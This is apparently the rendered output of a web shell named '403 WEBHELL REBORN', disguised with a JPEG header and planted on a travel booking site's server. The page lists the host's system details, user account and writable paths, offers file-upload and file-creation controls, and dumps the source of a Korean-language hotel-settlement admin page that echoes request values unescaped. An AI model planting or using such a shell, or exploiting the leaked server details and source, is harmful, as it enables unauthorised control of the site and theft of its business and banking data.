ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/cal_hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/cal_hotel/hotel_calculate_ajax.html
<?
/**
 * 정산정보 수정
 *
 * 작성일 : 20130612.허종
 *
 * @mode_edit : readonly이면 <자동정산숙박비>항목으로 수정 불가
 */
include "../include/top_proc.html"; //공통파일 인클루드

//기초코드
$code_mony = base_codec("ACC","MONY");//입출금
$code_bank = base_codec("PRD","INBK");//통장

//데이터셋
$data = account_hotel($res_no,$hseq,$acidx);
$rows = $data['item'][0];

?>
 <div class="iframe">
 <!-- 폼 -->
 <form name="frm_account_hotel_edit" id="frm_account_hotel_edit" method="post">
 <input type="hidden" name="SqlType" value="account_hotel_edit">
 <input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>"><!-- 레이어ID -->
 <input type="hidden" name="res_no" value="<?=$res_no?>">
 <input type="hidden" name="hseq" value="<?=$hseq?>">
 <input type="hidden" name="acidx" value="<?=$acidx?>">
<!-- 본문 -->
	<table width="100%"  border="0" cellpadding="0" cellspacing="0" id="tbl_member_view">
		<tr height="25">
			<th>입출금날짜</th>
			<td colspan="3"><input name="acc_dt" id="acc_dt" type="text" class="cal_input" size="12" onclick="AjaxCal(this,event);" onkeyup="OnDateStyle(this)" value="<?=$rows['acc_dt']?>" readonly /></td>
		</tr>
		<tr height="25">
			<th>입출금내용</th>
			<td colspan="3">
				<?if($mode_edit=="readonly"){?>
						<?=$rows['acnt_cd_nm'];?>
						<input type="hidden" name="acnt_cd" value="<?=$rows['acnt_cd']?>">
				<?}else{?>
        <select name="acnt_cd" id="acnt_cd" style="width:200px" hname="입출금내용" required>
				<?
					for($i=0 ; $i<count($code_mony) ; $i++){
						$row = $code_mony[$i];
				?>
					<option value="<?=$row['code']?>" <?=($rows['acnt_cd']==$row['code'])?"selected":""?>><?=$row['cd_nm']?></option>
				<?
					}
				}?>
			</td>
		</tr>
		<tr height="25">
			<th>계약금액(+)</th>
			<td><input name="price_cost_plus" id="price_cost_plus" type="text" size="12" class="input_text" value="<?=$rows['price_cost_plus']?>" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="20" maxLength="10" <?=$mode_edit?> /></td>
			<th>계약금액(-)</th>
			<td><input name="price_cost_minus" id="price_cost_minus" type="text" size="12" class="input_text" value="<?=$rows['price_cost_minus']?>" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="20" maxLength="10" <?=$mode_edit?> /></td>
		</tr>
			<th>통장입금</th>
			<td><input name="bank_plus" id="bank_plus" type="text" size="12" class="input_text" value="<?=$rows['bank_plus']?>" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="20" maxLength="10" <?=$mode_edit?> /></td>
			<th>통장출금</th>
			<td><input name="bank_minus" id="bank_minus" type="text" size="12" class="input_text" value="<?=$rows['bank_minus']?>" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="20" maxLength="10" <?=$mode_edit?> /></td>
		</tr>
		<tr height="25">
			<th>지출통장</th>
			<td colspan="3">
        <select name="bank_cd" id="bank_cd" class="w01" style="width:250px;">
				<option value="">=====선택=====</option>
				<?
					for($i=0 ; $i<count($code_bank) ; $i++){
						$row = $code_bank[$i];
				?>
					<option value="<?=$row['code']?>" <?=($row['code']==$rows['bank_cd'])?"selected":""?>><?=$row['cd_nm']?>[<?=$row['cd_memo']?>/<?=$row['cd_memo2']?>]</option>
				<?}?>
				</select>
			</td>
		</tr>
	</table>
	</form>
	<!-- /폼 -->
	<ul class="btn_button">
		<li class="btn_green"><a href="javascript:;" onClick="account_hotel_edit();">수정</a></li>
	</ul>
<!-- /본문 -->
</div>

<style type="text/css">
	#tbl_member_view {border:1px solid #CFCFD1;}
	#tbl_member_view th{border:1px solid #CFCFD1; background-color:#F9F9F9}
	#tbl_member_view td{border:1px solid #CFCFD1; padding:5px 5px 5px 5px;}
</style>

<script type="text/javascript">
function account_hotel_edit()
{
	var f=document.frm_account_hotel_edit;

	var result=to_validation(f);

	if(result==false) return false;

	if(!confirm('수정하시겠습니까?')) return false;

	ajax_post("ajax_proc","account_proc.php","frm_account_hotel_edit");
}
</script>

Anon7 - 2021